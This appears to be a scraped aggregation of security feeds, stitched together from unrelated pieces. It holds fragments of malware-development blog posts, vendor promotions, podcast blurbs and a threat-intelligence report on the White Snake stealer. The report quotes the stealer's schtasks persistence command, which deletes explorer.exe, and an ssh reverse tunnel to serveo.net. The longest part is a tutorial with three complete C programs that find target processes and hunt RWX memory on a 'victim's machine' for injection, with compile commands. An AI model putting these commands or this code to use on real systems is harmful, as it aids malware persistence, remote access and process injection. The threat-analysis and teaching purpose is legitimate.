hexdump -C test.txt
Then just run our application on Windows 11 x64 machine:
.\hack.exe
Letβs check a decrypted and original files, for example via hexdump
command:
hexdump -C test.txt.a51.decrypted
As you can see our simple PoC is worked perfectly.
I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal and useful for adversary (ransomware) sumulation purposes.
A5/1
Malware AV/VM evasion part 14
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
Discover how crucial continuous and relevant training is for avoiding cyber threats and lowering cyber insurance premiums.
The post Cybersecurity Training and Cyber Insurance: Bridging the Gap with Continuous Improvement appeared first on OffSec.
Cybersecurity is paramount for the public safety sector as it safeguards critical infrastructure, sensitive data, and communication systems vital for emergency response, law enforcement, and national security. In an increasingly interconnected world, where digital technologies infiltrate every aspect of society, vulnerabilities in these systems can be exploited by malicious actors to disrupt emergency services, compromise sensitive information, or even endanger lives. A robust cybersecurity posture not only protects against potential cyber threats and attacks but also ensures the confidentiality, integrity, and availability (CIA) of essential services, thereby upholding resilience of public safety systems.
Specifically, 911 call centers, also known as Public Safety Answering Points (PSAPs), frequently draw the attention of cyber threat actors because of their pivotal function in emergency response, making them attractive targets for disruption and ransomware attacks capable of incapacitating essential services. Additionally, the sensitive information stored within PSAP networks and systems, including Personal Identifiable Information (PII) and Personal Health Information (PHI), present lucrative opportunities for data theft and exploitation.
To make a big impact worldwide in thwarting ransomware and other cyberattacks by making sophisticated cyber defense solutions with human supervision affordable to organizations worldwide.
In May 2023, a ransomware attack targeted the city of Dallas by the Royal Ransomware gang, leading to the shutdown of court systems and disruptions in 911 emergency services. The attack affected various city services, including the police departmentβs ability to access certain databases. The outage has also impacted Computer Aided Dispatch (CAD) systems, which are used by dispatchers and 911 operators to prioritize and record incident calls. While city officials assured that emergency calls were still being answered, the incident highlighted the significant impact cyberattacks can have on critical infrastructure and essential services.
In a recent interview with Brian Beckwith, Chief Technology Officer (CTO) at Intuitus, he explained that Intuitus βdeals primarily in helping 911 call centers (PSAPs), and who those call centers support, to make sure their environments are secure.β Intuitus, a full-service cybersecurity and consulting solution with a 24/7 Security Operations Center (SOC), is the leading voice in cybersecurity for 911/NG911 PSAP organizations worldwide. Additionally, they participate in industry organizations such as National Emergency Number Association (NENA), Association of Public-Safety Communications Officials (APCO) international, and other 911/NG911 PSAP community members.
βWhen there is a cyberattack on a PSAP, there is the potential for loss of life due to the caller not being able to get through to the 911 call center. Our job is to prevent that situation. We specialize in knowing the cyber threat actorβs tactics, techniques, and procedures (TTPs) so we can protect organizations from those things.β
βWith legacy 911 systems, moving to a more IP-based solution is opening up a new world for 911,β explains Brian. So, rewriting and iterating on NG911 cybersecurity regulations, policies, and guidelines is key to keeping pace with the evolving cyber threats and fortify cybersecurity defenses. According to CISA, βthe 911 system requires stable, safe, and resilient communicationsβ and pointed to two things that all PSAPs should do to improve their overall cybersecurity:
Cybersecurity risk assessments are crucial for PSAPs because they help identify potential vulnerabilities and weaknesses within their systems proactively, allowing them to prioritize resources and implement effective security measures to mitigate risks. Additionally, having robust cyber incident response and vulnerability response plans is essential, as they enable PSAPs security teams to respond swiftly and effectively to cyberattacks. Intuitus also offers its customers SOC as a Service with Managed Detection & Response (MDR) as a fully self-contained solution that can be rapidly deployed into the existing infrastructure.
In the context of cybersecurity risks assessments, we at Horizon3.ai have seen our customers implement a regular cadence of penetration (aka βpenβ) testing to ensure that they are continuously assessing their infrastructure to stay ahead of cyber threats. In general, most facets of the public safety sector have yearly cyber risk assessment requirements. However, this infrequent assessment schedule means that any new threats introduced after the assessment wonβt be identified or mitigated promptly, leaving the organization exposed to potential breaches or attacks.
βMost PSAPs only conduct a once-a-year pentest, and donβt do pentesting all the time.β
Further, changes in the organizationβs IT infrastructure, software updates, and the introduction of new technologies can also introduce new vulnerabilities that would remain unaddressed until the next annual assessment, further increasing the risk of cyber incidents.
With the increased focus on ensuring PSAPs are following national and international cybersecurity regulations, policies, and guidelines, as well as conducting cyber risk assessments yearly, Brian needed to find a solution that could increase Intuitusβ pentesting footprint and blast radius. He also wanted something that was easy to use, straightforward, and required less training time to learn. Moreover, he wanted something that could βenable digestible conversations withβ¦customers and simplify what security measures must be taken to mitigate vulnerabilities in their environment quickly.β With Intuitus expanding not only in the U.S. but internationally, they needed a tool that could enable them to keep pace with their growing demand for continuous pentesting.
After testing a few competitors that offer similar functionality and capabilities as NodeZero, Brian mentions that the tools βjust didnβt do it right, not the way NodeZero does.β What we often find is that other βpentesting toolsβ canβt do what NodeZero does, and sometimes involve on-prem solutions that are complex and require additional training for in-house pentesters. Brian can use NodeZero right away, without needing to train his pentesters or attend lengthy instruction on how to run a pentest, use 1-Click Verify, or read reports. Additionally, this ease of use allows Brian and his team to foster better relationships with his customers because the reports are not overly complicated, yet they provide detail and give actionable guidance for even the novice user.
βNodeZero enables me to have a relationship with a customer that I wouldnβt have otherwise had without the toolβ
As with almost all sectors and industries worldwide, when it comes to cybersecurity compliance, there is always a regulation or policy to comply with to meet minimum operating standards. According to Brian, βmost of our pentests are performed because of some compliance regulation that needs to happen or that our customer must comply with.β Intuitus customers often require an audit with proof of a pentest and mitigation results to meet compliance requirements.
Auditors require pentests for compliance reasons to verify that an organizationβs cybersecurity defenses are robust and effective against cyber threats, ensuring adherence to industry standards and regulatory requirements. Pentesting provides concrete evidence of security posture and readiness, helping organizations demonstrate due diligence in protecting sensitive data and systems. βOne of our supply chain customers needed a pentest, and we told them that we can easily do that so they could meet the newly established [at that time] supply chain compliance standards,β Brian shared β another example of how NodeZero is enabling Intuitus to meet nearly all of their customers cybersecurity needs/requirements.
β100% of our [Intuitus] pentesting business weβre doing today; we would not be doing if we didnβt have NodeZeroβ¦ Horizon3.ai has given us 20% more capability than any other tool we have used or demoβd. We have added many more customers to our business because we offer pentesting services.β
By partnering with Horizon3.ai, Intuitus uses NodeZero as a force multiplier. Brian wanted to implement and offer in-house pentesting to ensure Intuitus is seen as a βtrusted advisor, helping us continue to grow and maintain our full service offering to customers.β Additionally, Intuitusβ pivotal role within the public safety space ensures PSAPs are meeting and exceeding compliance standards, while also enabling them to stay ahead of threats and hardened against constantly evolving threats.
The post Advancing Emergency Response Security with Autonomous Pentesting appeared first on Horizon3.ai.
2024 Cloud Security Awards
The post 2024 Cloud Security Awards appeared first on Horizon3.ai.
2024 Cybersecurity Excellence Awards
The post 2024 Cybersecurity Excellence Awards appeared first on Horizon3.ai.
Infosec and Cyber Work hacks can help you pass Ciscoβs CCNA certification exam! But what if you think youβre not ready to make that jump? What would it take for you to jump into the study of the CCNA with both feet? Infosecβs CCNA boot camp instructor Wilfredo Lanz wants you to know that you can be ready to start the big learning a lot faster than you think, and tells us why some of his most entry-level students often do better on the test than their more established classmates. If the prospect of passing the CCNA on the first try got you fired up, well, thatβs the point! Keep the excitement coming, and check out todayβs Cyber Work Hack.
0:00 - Cisco's CCNA certification exam
0:57 - Who enrolls in an Infosec CCNA boot camp
2:50 - What should you know before studying for the CCNA?
3:50 - What does a CCNA certified IT network professional do?
6:42 - Ensuring you're ready to take on CCNA
9:59 - How to gain networking experience
11:39 - Become an IT and networking professional
12:50 - Outro
Learn more about the CCNA: https://www.infosecinstitute.com/training/ccna/
About Infosec
Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Today on Cyber Work, Iβve got a big guest for you. Jeffrey Brown, Faculty at IANS Research, is also the chief information security officer for, not a company, not for a healthcare organization, but for the entire state of Connecticut! Brown walks me through the scope and reach of a state-wide CISO, a country-wide move toward a βwhole of stateβ strategy and, frankly, I spend an awful lot of time talking to Brown about where he finds the time to do all the things he does.
0:00 - Being CISO of an entire state
1:50 - Early interest in computer, tech and security
5:17 - A communication background in cybersecurity
7:31 - Cybersecurity career time management
13:59 - Working as a CISO of a state
15:45 - How to prepare for a CISO role at the state level
18:51 - What does a CISO do for a U.S. state?
25:50 - State cybersecurity approach
27:41 - Cyber attacks and challenges states face
32:00 - Is cybersecurity awareness a waste of time?
37:31 - Skills needed to work in cybersecurity for the state
40:11 - Learning how to lead in cybersecurity
43:20 - Favorite parts of state cybersecurity
44:19 - Resources to improve cyber hygiene
46:14 - Best piece of cybersecurity career advice
48:47 - Learn more about Jeffrey Brown
49:33 - Outro
β Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
β View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
This is a very wide-ranging and inspiring episode β whether youβre slogging through cert study or hitting a wall trying to figure out your next career pivot, my talk with Jeff will absolutely give you a new perspective. Keep it right here for Cyber Work!Β
About Infosec
Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Announcing new award willing continuous learning opportunities for cybersecurity professionals from OffSec.
The post Continuing to support cybersecurity teams with Award winning & innovative training in April appeared first on OffSec.
In this blog post, we'll introduce a new bypass technique designed to bypass AMSI without the VirtualProtect API and without changing memory protection.
The post AMSI Write Raid Bypass Vulnerability appeared first on OffSec.
The BI.ZONE Threat Intelligence team has uncovered a fresh campaign by the group targeting Russian and Belarusian organizations
The threat actors are distributing phishing emails under the guise of a federal agency. The emails have a legitimate document as an attachment. It aims to lull the recipientβs vigilance and prompt them to open the other file, a password-protected archive.
The files in theΒ archive:
The executable file is a loader, in2al5d p3in4er (Invalid Printer). After a successful anti-virtualization check, the loader injects the malicious payload into the address space of the explorer.exe process.
The check performed with the dxgi.dll library enables the loader to retrieve the IDs of the manufacturers of the graphics cards used in the system. Where such IDs do not match those of Nvidia, AMD, or Intel, the malicious file would stopΒ running.
The loader is distinguished by not using WinAPI calls to access the Windows kernel. Instead, the kernel functions are called directly through jumps to the syscall instruction with the required arguments.
The arguments for kernel calls are passed through the following registers: R10, RDX, R8, R9. The RAX register is used to store the number of the initiated system call. In this case, the number 0x0036 corresponds to the system call NtQuerySystemInformation.
It is noteworthy that during the execution the loader would attempt to open multiple random files non-existent in the system and write random data into them. While such behavior does not affect the execution, this may help to detect the malicious activity in theΒ system.
In order to identify the explorer.exe process, the loader enumerates the structures of the launched processes searching for the matching checksum. After identifying the required process, the loader allocates a memory region within this process with execution rights and copies the decrypted malicious payload into it. Finally, it modifies the process context to execute the injected shellΒ code.
The payload is the shell code obtained with the help of the open-source Donut utility, which allows executable files (includingΒ .NET) to run in the memory. The utility has some additional features such as compression and encryption of malicious payload.
In the case under review, the malicious payload executed by this loader is the White Snake stealer, version 1.6.1.9. This is the latest version of the stealer published at the end of March 2024. It does not verify whether the victim is located in Russia or other CIS countries.
In August 2023, the official White Snake channel published a post related to our investigation. The post informed that one of the customers had modified the malware and removed the AntiCISΒ module.
We believe that with this statement the developers merely wanted to avoid getting blocked on popular underground resources.
When started, White Snake performs the following actions:
"C:\Windows\System32\cmd.exe" /C chcp 65001 &&
timeout /t 3 > NUL &&
schtasks /create /tn "Explorer" /sc MINUTE /tr "C:\Users\[user]\AppData\Local\RobloxSecurity\Explorer.EXE" /rl HIGHEST /f &&
DEL /F /S /Q /A "C:\Windows\Explorer.EXE" &&
START "" "C:\Users\[user]\AppData\Local\RobloxSecurity\Explorer.EXE"
Interestingly, the legitimate explorer.exe would be copied without the injected shell code in this particular case.
White Snake can also use the serveo[.]net service. This option enables OpenSSH to be downloaded via the link to the GitHub repository (https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.2.2.0p1-Beta/OpenSSH-Win32.zip) and launched with the following command:
ssh -o "StrictHostKeyChecking=no" -R [connection port]:[local address]:[local port] serveo.net
The latest versions have an updated list of resources to transmit the data harvested by theΒ stealer:
More indicators of compromise and a detailed description of threat actor tactics, techniques, and procedures are available on the BI.ZONE Threat Intelligence platform.
The BI.ZONE EDR rules below can help organizations detect the described malicious activity:
We would also recommend that you monitor suspicious activity relatedΒ to:
Scaly Werewolfβs methods of gaining persistence on endpoints are hard to detect with preventive security solutions. Therefore we recommend that companies enhance their cybersecurity with endpoint detection and response practices, for instance, with the help of BI.ZONEΒ EDR.
To stay ahead of threat actors, you need to be aware of the methods used in attacks against different infrastructures and to understand the threat landscape. For this purpose, we would recommend that you leverage the data from the BI.ZONE Threat Intelligence platform. The solution provides information about current attacks, threat actors, their methods and tools. This data helps to ensure the effective operation of security solutions, accelerate incident response, and protect from the most critical threats to theΒ company.
Business Wire 05/02/2024
Horizon3.ai, a leading provider of autonomous security solutions, today announced the appointment of Matt Hartley as Chief Revenue Officer (CRO), effective immediately.Hartley brings over 20 years of sales and operations excellence with a proven track record of building go-to-market (GTM) teams that achieve rapid scale and predictabilityβ¦
Read the entire article here
The post Horizon3.ai Appoints Matt Hartley as Chief Revenue Officer to Spearhead Growth Initiatives appeared first on Horizon3.ai.
ο·½
Hello, cybersecurity enthusiasts and white hackers!
In one of my previous posts, I described a process injection method using RWX-memory searching logic. Today, I will apply the same logic, but with a new trick.
As you remember, the method is simple: we enumerate the presently running target processes on the victimβs system, scan through their allocated memory blocks to see if any are protected with RWX, and then write our payload to this memory block.
Today I will use a little bit different trick. Letβs say we are search specific process in the victimβs machine (for injection or for something else).
Letβs go to use a separate function for hunting RWX-memory region from the victim process, something like this:
int findRWX(HANDLE h) {
MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;
// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
}
return 0;
}
Also a little bit update for our main logic: first of all, we are search specific processβ handle by itβs name:
typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
int findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function address
fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}
return current;
}
As you can see, we use NtGetNextProcess
API for enumerating processes.
So the final source code is looks like this (hack.c
):
/*
* hack.c - hunting RWX memory
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
int findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function address
fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}
return current;
}
int findRWX(HANDLE h) {
MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;
// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
}
return 0;
}
int main(int argc, char* argv[]) {
char procNameTemp[MAX_PATH];
HANDLE h = NULL;
int pid = 0;
h = findMyProc(argv[1]);
if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
pid = GetProcessId(h);
printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
findRWX(h);
CloseHandle(h);
return 0;
}
Letβs go to see everything in action. Compile our malware source code:
x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -w -lpsapi -lshlwapi
And run it at the victimβs machine (Windows 11 x64
in my case):
Try on another target process, for example OneDrive.exe
:
Our logic is worked, RWX-memory successfully founded!
As you can see, everything is worked perfectly! =^..^=
But there are the caveats. Sometimes we need to know is this process is .NET
process or Java or something else (is it really OneDrive.exe
process)?
For .NET
process we need interesting trick, if we open powershell.exe
via Process Hacker 2:
As you can see, in the Handles
tab we can find interesting section with name \BaseNamedObjects\Cor_Private_IPCBlock_v4_<PID>"
in our case PID = 3156
, so our string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156
.
So, letβs update our function findMyProc
, like this:
HANDLE findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function addresses
fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
pid = GetProcessId(current);
// Check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
UNICODE_STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;
WCHAR procNumber[32];
WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
sName.Buffer = (PWSTR) malloc(500);
// convert INT to WCHAR
swprintf_s(procNumber, L"%d", pid);
// and fill out UNICODE_STRING structure
ZeroMemory(sName.Buffer, 500);
memcpy(sName.Buffer, objPath, wcslen(objPath) * 2); // add section name "prefix"
StringCchCatW(sName.Buffer, 500, procNumber); // and append with process ID
sName.Length = wcslen(sName.Buffer) * 2; // finally, adjust the string size
sName.MaximumLength = sName.Length + 1;
InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}
return current;
}
Just convert process id int to UNICODE STRING and concat, then try to find section logic.
Here, NtOpenSection
API use for opens a handle for an existing section object:
typedef NTSTATUS (NTAPI * fNtOpenSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
So, the full source code for this logic (finding .NET
processes in the victimβs system) looks like this:
/*
* hack2.c - hunting RWX memory
* detect .NET process
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
HANDLE findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function addresses
fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
pid = GetProcessId(current);
// check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
UNICODE_STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;
WCHAR procNumber[32];
WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
sName.Buffer = (PWSTR) malloc(500);
// convert INT to WCHAR
swprintf_s(procNumber, L"%d", pid);
// and fill out UNICODE_STRING structure
ZeroMemory(sName.Buffer, 500);
memcpy(sName.Buffer, objPath, wcslen(objPath) * 2); // add section name "prefix"
StringCchCatW(sName.Buffer, 500, procNumber); // and append with process ID
sName.Length = wcslen(sName.Buffer) * 2; // finally, adjust the string size
sName.MaximumLength = sName.Length + 1;
InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}
return current;
}
int findRWX(HANDLE h) {
MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;
// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
}
return 0;
}
int main(int argc, char* argv[]) {
char procNameTemp[MAX_PATH];
HANDLE h = NULL;
int pid = 0;
h = findMyProc(argv[1]);
if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
pid = GetProcessId(h);
printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
findRWX(h);
CloseHandle(h);
return 0;
}
Letβs go to see second example in action. Compile it:
x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w
Then just run it. Check on powershell.exe
:
.\hack2.exe powershell.exe
Now, second practical example worked as expected! Great! =^..^=
Ok, so what about previous question?
How we can check if the victim process is really OneDrive.exe
process? Itβs just in case, for example.
Letβs check OneDrive.exe
process properties via Process Hacker 2:
As you can see we can use the same trick: check section by itβs name: \Sessions\1\BaseNamedObjects\UrlZonesSM_test1
. Of course, I could be wrong and the presence of this string does not guarantee that this is OneDrive.exe
process. I just want to show that you can examine any process and try to find some indicators in the section names.
So, I updated my function again and full source code of my third example (hack3.c
):
/*
* hack.c - hunting RWX memory
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
HANDLE findMyProc(const char *procname) {
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function addresses
fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
// check for "\Sessions\1\BaseNamedObjects\UrlZonesSM_test1" section
UNICODE_STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;
WCHAR objPath[] = L"\\Sessions\\1\\BaseNamedObjects\\UrlZonesSM_test1";
sName.Buffer = (PWSTR)objPath;
sName.Length = wcslen(objPath) * sizeof(WCHAR);
sName.MaximumLength = sName.Length + sizeof(WCHAR);
InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}
return current;
}
int findRWX(HANDLE h) {
MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;
// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
}
return 0;
}
int main(int argc, char* argv[]) {
char procNameTemp[MAX_PATH];
HANDLE h = NULL;
int pid = 0;
h = findMyProc(argv[1]);
if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
pid = GetProcessId(h);
printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
findRWX(h);
CloseHandle(h);
return 0;
}
As you can see, the logic is simple: check section name and try to open it.
Letβs go to see third example in action. Compile it:
x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w
Then, run it on the victimβs machine:
.\hack3.exe OneDrive.exe
As you can see, everything is worked perfectly again!
If anyone has seen a similar trick in real malware and APT, please write to me, maybe I didnβt look well, it seems to me that this is a technique already known to attackers.
I hope this post spreads awareness to the blue teamers of this interesting process investigation technique, and adds a weapon to the red teamers arsenal.
Process injection via RWX-memory hunting. Simple C++ example.
Malware development trick - part 30: Find PID via NtGetNextProcess. Simple C++ example.
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
Discover the essential cybersecurity training elements that insurers look for and how to build a winning program.
The post How Cybersecurity Training Lowers Insurance Premiums appeared first on OffSec.
In the ever-evolving landscape of cybersecurity, the speed of your response to emerging cyber threats can be the difference between a minor security incident and a catastrophic breach. Horizon3.ai provides you with a strategic advantage by enabling preemptive action in the
steadily shrinking window of time between the public disclosure of a vulnerability and its exploitation in the wild.
The post Get Ahead of Emerging Threats with Horizon3.aiβs Rapid Response Service appeared first on Horizon3.ai.